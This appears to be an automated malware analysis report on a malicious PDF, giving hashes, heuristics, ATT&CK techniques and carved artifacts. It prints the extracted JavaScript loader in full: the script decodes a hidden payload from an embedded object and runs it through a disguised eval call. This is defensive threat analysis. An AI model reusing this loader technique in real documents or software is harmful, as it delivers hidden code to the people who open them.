Malicious PDF — malware analysis report

Static analysis result for SHA-256 b95f454c0e1e79c1…

MALICIOUS

PDF

4.5 KB First seen: 2026-05-07
MD5: 147c815433b9771a0a369f93f845bf55 SHA-1: 1fa9946a57d7253cc31aea6d49edb9a1f7fa2881 SHA-256: b95f454c0e1e79c1e752cd0c12036b86c4637d55b6b0f8f36508d1f6b1a6f085
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript and an embedded file, both flagged as suspicious. The ML classifier strongly indicates maliciousness. The embedded JavaScript is likely intended to exploit a vulnerability within the PDF reader to execute arbitrary code, potentially leading to the download or execution of further malicious payloads from the embedded file.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x429 77826 bytes
SHA-256: 17116e782aabd821575c53f3f837f545f6455b42d2d7a8403cd03ab0e121ffae
Detection
ClamAV: No threats found
Obfuscation or payload: likely
265 of 265 identifiers look randomly generated (e.g. 'P4Y8lNrxQyPhsZ8y1P4Y8lNrxQyPhsZ8y2P4Y8lN') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1F1 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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